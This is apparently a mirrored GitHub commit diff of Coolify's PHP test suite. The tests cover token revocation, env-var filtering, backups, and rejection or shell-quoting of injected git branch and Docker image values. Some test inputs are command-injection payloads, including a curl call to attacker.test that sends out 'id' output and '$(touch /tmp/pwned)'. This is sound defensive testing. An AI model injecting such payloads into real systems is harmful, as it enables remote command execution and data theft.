mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-14 22:17:19 +00:00
Merge branch 'next' into fix/deploy-key-dedicated-path-race
This commit is contained in:
202 files changed
+7287
-3137
No files matched your search
@@ -0,0 +1,89 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'git-branch-security-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
|
||||
['network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'git_branch' => 'main',
|
||||
]);
|
||||
});
|
||||
|
||||
function gitBranchApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} git_branch security', function () {
|
||||
test('rejects backtick command substitution branch payloads', function () {
|
||||
$payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``';
|
||||
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => $payload,
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertJsonValidationErrors('git_branch');
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('main');
|
||||
});
|
||||
|
||||
test('accepts safe branch names', function () {
|
||||
$response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'git_branch' => 'feature/safe-branch_1.2.3',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\ApiTokens;
|
||||
use App\Livewire\Team\Member;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
|
||||
['id' => 0],
|
||||
['is_api_enabled' => true],
|
||||
));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'admin']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
function bearerJson(string $token): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
test('removed member token cannot read team projects', function () {
|
||||
Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
|
||||
$token = $this->user->createToken('read-token', ['read'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->getJson('/api/v1/projects')
|
||||
->assertUnauthorized();
|
||||
});
|
||||
|
||||
test('removed member token cannot create team projects', function () {
|
||||
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
|
||||
->assertUnauthorized();
|
||||
|
||||
expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('downgraded member old write token cannot create team projects', function () {
|
||||
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
|
||||
|
||||
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
|
||||
->assertForbidden();
|
||||
|
||||
expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('admin removal through team member component revokes team tokens', function () {
|
||||
$owner = User::factory()->create();
|
||||
$this->team->members()->attach($owner->id, ['role' => 'owner']);
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(Member::class, ['member' => $this->user])
|
||||
->call('remove');
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('role downgrade through team member component revokes team tokens', function () {
|
||||
$owner = User::factory()->create();
|
||||
$this->team->members()->attach($owner->id, ['role' => 'owner']);
|
||||
$token = $this->user->createToken('write-token', ['write'])->accessToken;
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(Member::class, ['member' => $this->user])
|
||||
->call('makeReadonly');
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('member cannot create write token through livewire token form', function () {
|
||||
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'member-write-token')
|
||||
->set('expiresInDays', 30)
|
||||
->set('permissions', ['write'])
|
||||
->call('addNewToken');
|
||||
|
||||
expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('password change revokes user personal access tokens', function () {
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->user->forceFill(['password' => Hash::make('new-password')])->save();
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('team deletion revokes team bound personal access tokens', function () {
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->team->delete();
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
@@ -205,6 +205,127 @@ it('filters buildpack control vars from preview build-time env files', function
|
||||
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not let preview docker compose service names override generated build-time service names', function () {
|
||||
$compose = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
postgresapp:
|
||||
image: postgres:16-alpine
|
||||
YAML;
|
||||
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_raw' => $compose,
|
||||
'docker_compose' => $compose,
|
||||
'docker_compose_domains' => '[]',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 241,
|
||||
]);
|
||||
|
||||
/** @var Collection $buildtimeEnvs */
|
||||
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
|
||||
$envString = $buildtimeEnvs->implode("\n");
|
||||
|
||||
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'");
|
||||
expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""');
|
||||
expect($envString)->not->toContain('SERVICE_URL_APP=');
|
||||
});
|
||||
|
||||
it('does not let production docker compose service names override generated build-time service names', function () {
|
||||
$compose = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
postgresapp:
|
||||
image: postgres:16-alpine
|
||||
YAML;
|
||||
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_raw' => $compose,
|
||||
'docker_compose' => $compose,
|
||||
'docker_compose_domains' => '[]',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => 'stale-postgresapp',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
|
||||
|
||||
/** @var Collection $buildtimeEnvs */
|
||||
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
|
||||
$envString = $buildtimeEnvs->implode("\n");
|
||||
|
||||
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'");
|
||||
expect($envString)->not->toContain('stale-postgresapp');
|
||||
});
|
||||
|
||||
it('filters docker compose generated service variables from build args', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => 'https://preview.example.com',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 241,
|
||||
]);
|
||||
|
||||
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
|
||||
|
||||
/** @var Collection $envArgs */
|
||||
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
|
||||
|
||||
expect($envArgs->get('APP_ENV'))->toBe('production');
|
||||
expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse();
|
||||
expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('filters buildpack control vars from preview runtime env fallback', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture();
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'docker-registry-validation-api-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'coolify-'.Str::lower(Str::random(8)),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function dockerRegistryApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
function makeDockerRegistryValidationApplication(array $overrides = []): Application
|
||||
{
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => test()->environment->id,
|
||||
'destination_id' => test()->destination->id,
|
||||
'destination_type' => test()->destination->getMorphClass(),
|
||||
'build_pack' => 'nixpacks',
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () {
|
||||
test('rejects shell metacharacters in docker registry image name without persisting them', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertInvalid(['docker_registry_image_name']);
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
|
||||
->and($application->docker_registry_image_tag)->toBe('latest');
|
||||
});
|
||||
|
||||
test('rejects shell metacharacters in docker registry image tag without persisting them', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)',
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertInvalid(['docker_registry_image_tag']);
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
|
||||
->and($application->docker_registry_image_tag)->toBe('latest');
|
||||
});
|
||||
|
||||
test('accepts valid docker registry image values', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'registry.example.com:5000/team/app',
|
||||
'docker_registry_image_tag' => 'v1.2.3',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app')
|
||||
->and($application->docker_registry_image_tag)->toBe('v1.2.3');
|
||||
});
|
||||
});
|
||||
@@ -13,7 +13,7 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('seeds a railpack nodejs fastify example alongside the existing nixpacks example', function () {
|
||||
it('seeds the default applications without railpack examples', function () {
|
||||
$this->seed([
|
||||
UserSeeder::class,
|
||||
TeamSeeder::class,
|
||||
@@ -26,7 +26,6 @@ it('seeds a railpack nodejs fastify example alongside the existing nixpacks exam
|
||||
]);
|
||||
|
||||
$nixpacksExample = Application::where('uuid', 'nodejs')->first();
|
||||
$railpackExample = Application::where('uuid', 'railpack-nodejs')->first();
|
||||
|
||||
expect($nixpacksExample)
|
||||
->not->toBeNull()
|
||||
@@ -35,17 +34,6 @@ it('seeds a railpack nodejs fastify example alongside the existing nixpacks exam
|
||||
->and($nixpacksExample->base_directory)->toBe('/nodejs')
|
||||
->and($nixpacksExample->ports_exposes)->toBe('3000');
|
||||
|
||||
expect($railpackExample)
|
||||
->not->toBeNull()
|
||||
->and($railpackExample->name)->toBe('Railpack NodeJS Fastify Example')
|
||||
->and($railpackExample->fqdn)->toBe('http://railpack-nodejs.127.0.0.1.sslip.io')
|
||||
->and($railpackExample->repository_project_id)->toBe(603035348)
|
||||
->and($railpackExample->git_repository)->toBe('coollabsio/coolify-examples')
|
||||
->and($railpackExample->git_branch)->toBe('v4.x')
|
||||
->and($railpackExample->base_directory)->toBe('/nodejs')
|
||||
->and($railpackExample->build_pack)->toBe('railpack')
|
||||
->and($railpackExample->ports_exposes)->toBe('3000')
|
||||
->and($railpackExample->environment_id)->toBe(1)
|
||||
->and($railpackExample->destination_id)->toBe(0)
|
||||
->and($railpackExample->source_id)->toBe(1);
|
||||
expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse();
|
||||
expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,42 @@
|
||||
<?php
|
||||
|
||||
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
|
||||
{
|
||||
$application = new class($serverStatus, $status, $hasAdditionalServers)
|
||||
{
|
||||
public function __construct(
|
||||
public ?bool $server_status,
|
||||
public string $status,
|
||||
private bool $hasAdditionalServers,
|
||||
) {}
|
||||
|
||||
public function additional_servers(): object
|
||||
{
|
||||
return new class($this->hasAdditionalServers)
|
||||
{
|
||||
public function __construct(private bool $exists) {}
|
||||
|
||||
public function exists(): bool
|
||||
{
|
||||
return $this->exists;
|
||||
}
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
return view('livewire.project.application.server-status-badge', [
|
||||
'application' => $application,
|
||||
])->render();
|
||||
}
|
||||
|
||||
it('does not show the unreachable server badge when server status is unknown', function () {
|
||||
$html = renderApplicationServerStatusBadge(null);
|
||||
|
||||
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
|
||||
it('shows the unreachable server badge only when server status is false', function () {
|
||||
$html = renderApplicationServerStatusBadge(false);
|
||||
|
||||
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\BackupEdit;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function createBackupForEditValidationTest(Team $team, array $overrides = []): ScheduledDatabaseBackup
|
||||
{
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'pg-backup-edit-validation',
|
||||
'image' => 'postgres:16-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
return ScheduledDatabaseBackup::create(array_merge([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => $database->getMorphClass(),
|
||||
'database_id' => $database->id,
|
||||
'team_id' => $team->id,
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
if (InstanceSettings::find(0) === null) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->save();
|
||||
}
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('disables S3 backup when saved without a selected S3 storage', function () {
|
||||
$backup = createBackupForEditValidationTest($this->team);
|
||||
|
||||
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
|
||||
->call('submit')
|
||||
->assertDispatched('success');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
it('cascades to disabling local backup deletion when S3 is force-disabled', function () {
|
||||
$backup = createBackupForEditValidationTest($this->team, [
|
||||
'disable_local_backup' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
|
||||
->call('submit')
|
||||
->assertDispatched('success');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
expect($backup->disable_local_backup)->toBeFalsy();
|
||||
});
|
||||
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
|
||||
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 50,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
// IP must be preserved — never overwritten on self-hosted.
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeTrue();
|
||||
});
|
||||
|
||||
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
@@ -36,6 +59,7 @@ it('does not clean up servers with unreachable_count less than 3', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers updated within 7 days', function () {
|
||||
@@ -53,6 +77,7 @@ it('does not clean up servers updated within 7 days', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers without notification sent', function () {
|
||||
@@ -70,4 +95,5 @@ it('does not clean up servers without notification sent', function () {
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
@@ -1,6 +1,9 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
@@ -127,6 +130,38 @@ describe('deployment job path field validation', function () {
|
||||
});
|
||||
|
||||
describe('API validation rules for path fields', function () {
|
||||
test('git_branch validation rejects shell metacharacters', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'backtick command substitution' => 'main`id`',
|
||||
'dollar command substitution' => 'main$(id)',
|
||||
'semicolon command separator' => 'main;id',
|
||||
'ifs shell expansion' => 'main${IFS}id',
|
||||
'space separator' => 'main branch',
|
||||
]);
|
||||
|
||||
test('git_branch validation allows safe branch names', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'main',
|
||||
'feature/safe-branch',
|
||||
'release_2026.06',
|
||||
]);
|
||||
|
||||
test('dockerfile_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
@@ -183,6 +218,68 @@ describe('API validation rules for path fields', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployment git command escaping', function () {
|
||||
test('ls-remote command shell-quotes repository and ref arguments', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
foreach ([
|
||||
'customPort' => 22,
|
||||
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('gitLsRemoteCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
|
||||
|
||||
expect($command)
|
||||
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
|
||||
->toContain('-i /root/.ssh/id_rsa')
|
||||
->not->toContain('repo.git; curl');
|
||||
});
|
||||
|
||||
test('coolify branch shell assignment is quoted', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application;
|
||||
$application->uuid = 'app-uuid';
|
||||
$application->git_branch = 'main`id`';
|
||||
$application->fqdn = null;
|
||||
$application->compose_parsing_version = '3';
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->include_source_commit_in_build = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'commit' => 'HEAD',
|
||||
'pull_request_id' => 0,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('set_coolify_variables');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($instance);
|
||||
|
||||
$coolifyVariables = $job->getProperty('coolify_variables');
|
||||
$coolifyVariables->setAccessible(true);
|
||||
|
||||
expect($coolifyVariables->getValue($instance))
|
||||
->toContain("COOLIFY_BRANCH='main`id`' ")
|
||||
->toContain('COOLIFY_RESOURCE_UUID=app-uuid ');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
@@ -978,3 +1075,46 @@ describe('install/build/start command rules survive array_merge in controller',
|
||||
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('git_branch validation rules survive array_merge in controller', function () {
|
||||
